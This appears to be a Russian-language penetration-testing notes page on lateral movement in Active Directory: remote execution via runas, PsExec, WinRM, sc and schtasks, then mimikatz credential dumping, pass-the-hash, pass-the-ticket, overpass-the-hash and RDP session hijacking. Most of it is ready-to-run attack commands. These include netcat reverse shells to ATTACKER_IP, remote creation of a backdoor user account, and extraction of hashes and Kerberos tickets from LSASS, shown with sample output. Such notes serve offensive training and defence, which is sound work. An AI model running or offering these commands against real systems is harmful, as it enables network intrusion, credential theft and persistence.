Перейти к содержанию

Перемещение по AD

Lateral movement, выражаясь терминами военных - расширение плацдарма - набор техник продвижения по инфраструктуре для достижения конечных целей.

Для продвижения используются легитимные инструменты управления инфраструктурой: WinRM, RDP, SSH и т.д. Однако нужно понимать, что, к примеру, запуск SSH сессии из под локальной админиской учётки на компе бухгалтера рискует выглядит как минимум подозрительно.

Удалённый запуск процессов

Для удалённого запуска процессов можно использовать следующие инструменты:

runas

Используя ключ /netonly можно запустить команду от имени другого пользователя домена.

C:\> runas /netonly /user:hq.company.com\t1_super.admin "c:\tools\nc64.exe -e cmd.exe ATTACKER_IP 4443"

Psexec

Этот инструмент из пакета Sysinternals позволяет админстратору запускать сервисы на удалённых компах к которым у него есть доступ. Работает на TCP:445, требует наличия членства в группе Администраторов.

Алгоритим работы следующий:

  1. Подключается к шаре $Admin и копирует туда бинарник сервиса под именем psexesvc.exe

  2. Подключается к scm для создание и запуска процесса PSEXESVC который вызывает переданный на первом шаге бинарник.

  3. Создает каналы для обработки stdin/stdout/stderr

Следующая команда запустит экземпляр cmd.exe на хосте MACHINE-IP

psexec64.exe \\MACHINE_IP -u Administrator -p Mypass123 -i cmd.exe

WinRM

WinRM - web-based протокол отправки Powershell командлетов на удалённые хосты. Включен по умолчанию, поэтому широко используется в качестве доступного вектора атаки. Работает на TCP:5985 (WinRM HTTP) или на TCP:5986 (WinRM HTTPS), требует наличия членства в группе Remote Management Users

Следующая команда запустит экземпляр cmd.exe на хосте target

winrs.exe -u:Administrator -p:Mypass123 -r:target cmd

Так как WinRM это фактически надстройка на powershell, аналогичный результат можно получить и в самом Powershell:

# Сначала нужно сформировать PSCredential объект
$username = 'Administrator';
$password = 'Mypass123';
$securePassword = ConvertTo-SecureString $password -AsPlainText -Force; 
$credential = New-Object System.Management.Automation.PSCredential $username, $securePassword;

# А потом использовать его в Enter-PSSession для вызова удалённой сессии powershell

Enter-PSSession -Computername TARGET -Credential $credential

# Или для выполнения конкретной команды

Invoke-Command -Computername TARGET -Credential $credential -ScriptBlock {whoami}

sc

sc.exe может запускать сервисы на удалённом хосте. Работает на:

  • TCP:135, TCP:49152-65535 (DCE/RPC)

  • TCP:445 (RPC через именованные каналы SMB)

  • TCP:139 (RPC через именованные каналы SMB)

Причём сначала пробует подключится по TCP:135, а в случае неудачи - через именнованные SMB каналы.

sc.exe \\TARGET create EvilService binPath= "net user dummy Pass123 /add" start= auto
sc.exe \\TARGET start EvilService

После создания и запуска сервиса, на хосте TARGET будет создан пользователь dummy. Потом сервис можно удалить.

sc.exe \\TARGET stop EvilService
sc.exe \\TARGET delete EvilService

schtasks

Аналогично sc.exe, schtasks также может работать с удалёнными хостами. Следующие команды создадут задачу которая в свою очередь создаст пользователя dummy. Задача выполнится один раз, запуск будет произведен в ручную. После всех манипуляций, задача будет удалена.

schtasks /s TARGET /RU "SYSTEM" /create /tn "Eviltask" /tr "net user dummy Pass123 /add" /sc ONCE /sd 01/01/1970 /st 00:00 
schtasks /s TARGET /run /TN "Eviltask" 
schtasks /S TARGET /TN "Eviltask" /DELETE /F

Использование альтернативных аутентификационных сведений.

Исходя из принципа работы протоколов NTLM и Kerberos, можно сделать вывод о том, что для успешной аутентификации можно предъявить либо хэш пароля, либо билеты Kerberos.

Pass-the-Hash

В результате получения админских прав на одной из машин в сети, можно выдернуть хранящиеся на этой машине (в локальной SAM или непосредственно в памяти с которой работает LSASS) NTLM хэши используя mimikatz. Далее их можно попытаться сбрутить, или же использовать напрямую:

Извлечение из локальной SAM

Этот метод позволяет получить хэши локальных пользователей. сведения о доменных учётах не хранятся в локальной SAM.

mimikatz # privilege::debug # проверка достаточности прав - должно вернуть "ОК"
mimikatz # token::elevate 

mimikatz # lsadump::sam   
RID  : 000001f4 (500)
User : Administrator
  Hash NTLM: 145e02c50333951f71d13c245d352b50

Извлечение из памяти LSASS

Этот метод позволяет извлечь любые хэши тех локальных и доменных пользователей, которые были недавно авторизованны на машине.

mimikatz # privilege::debug
mimikatz # token::elevate

mimikatz # sekurlsa::msv 
Authentication Id : 0 ; 308124 (00000000:0004b39c)
Session           : RemoteInteractive from 2 
User Name         : bob.dummy
Domain            : HQ
Logon Server      : HQDC_1
Logon Time        : 2022/04/22 09:55:02
SID               : S-1-5-21-3330634377-1326264276-632209373-4605
        msv :
         [00000003] Primary
         * Username : bob.dummy
         * Domain   : HQ
         * NTLM     : 6b4a57f67805a663c818106dc0648484
После извлечения данных, атаку PtH можно осуществить также через mimikatz:

mimikatz # token::revert
mimikatz # sekurlsa::pth /user:bob.dummy /domain:hq.company.com /ntlm:6b4a57f67805a663c818106dc0648484 /run:"c:\tools\nc64.exe -e cmd.exe ATTACKER_IP 5555"

Выполнение такой команды аналогично использованию runas /netonly, но только с хэшем, а не с паролем.

В Linux PtH можно реализовать через:

RDP через PtH
xfreerdp /v:VICTIM_IP /u:DOMAIN\\MyUser /pth:NTLM_HASH
psexec через PtH
psexec.py -hashes NTLM_HASH DOMAIN/MyUser@VICTIM_IP
WinRM через PtH
evil-winrm -i VICTIM_IP -u MyUser -H NTLM_HASH

Pass-the-Ticket

О том как работает аутентификация kerberos, можно почитать тут.

В случае наличия SYSTEM прав на машине, с помощью mimikatz можно попытаться извлечь билеты Kerberos и сессионные ключи из памяти LSASS:

mimikatz # privilege::debug
mimikatz # sekurlsa::tickets /export

# Билеты сохранятся в виде файлов .kirbi в текущей директории

mimikatz умеет извлекать как TGT так и TGS билеты. Понятно, что TGT представляют больший интерес, так как позволят обратится к KDC за TGS билетами для любого сервиса (если, конечно пользователю - владельцу билета предоставлен соответствующий доступ к сервису).

После извелечения билетов, можно внедрить нужный в текущую сессиию:

mimikatz # kerberos::ptt  [0;427fcd5]-2-0-40e10000-Administrator@krbtgt-HQ.COMPANY.COM.kirbi

# Где ptt это pass-the-ticket

После внедрения билета в сессию, запуск любого софта будет происходить от имени учётки которая связана с этим билетом. Проверить корректность внедрения билета можно стандартной windows утилитой klist

Overpass-the-hash / Pass-the-Key

Атака аналогичная по своей сути с PtH, однако работает в Kerberos окружении.

Когда пользователь запрашивает TGT, он отправляет метку времени зашифрованную ключем - производным от его пароля. Алгоритмы такого шифрования могут применятся различные: RC4, AES128, AES256. Идея атаки заключается в том, что если будет известен вышеуказанный ключ, можно будет обратится к KDC для получения TGT без использования пароля. (отсюда и имя - PtK)

Извлечь ключи и выполнить с их помощью полезную работу снова поможет mimikatz:

# Извлекаем ключи:
mimikatz # privilege::debug
mimikatz # sekurlsa::ekeys

# Используем ключи:
# В зависимости от алгоритма шифрования, нужно будет подставить необходимый.
mimikatz # sekurlsa::pth /user:Administrator /domain:hq.company.com /rc4:96ea24eff4dff1fbe13818fbf12ea7d8 /run:"c:\tools\nc64.exe -e cmd.exe ATTACKER_IP 5556"

Использование не закрытых RDP сессий

Если не выйти из RDP сессии, а просто закрыть окно, сессия останется активной и будет оставаться в активном состоянии до перезагрузки хоста.

Имея на таком хосте права уровня SYSTEM можно подключится к любой из таких "забытых" сессий:

  1. Запустить cmd от Администратора

  2. Запустить оттуда psexec64.exe с ключём -s cmd.exe (-s - запуск с правами SYSTEM)

  3. С помошью query user получить сведения об имеющихся сессиях.

  4. Подключиться к нужной через `tscon $SESSION-NUMBER /dest:SESSION-NAME

Обрати внимание

В Windows Server 2019 - так сделать уже нельзя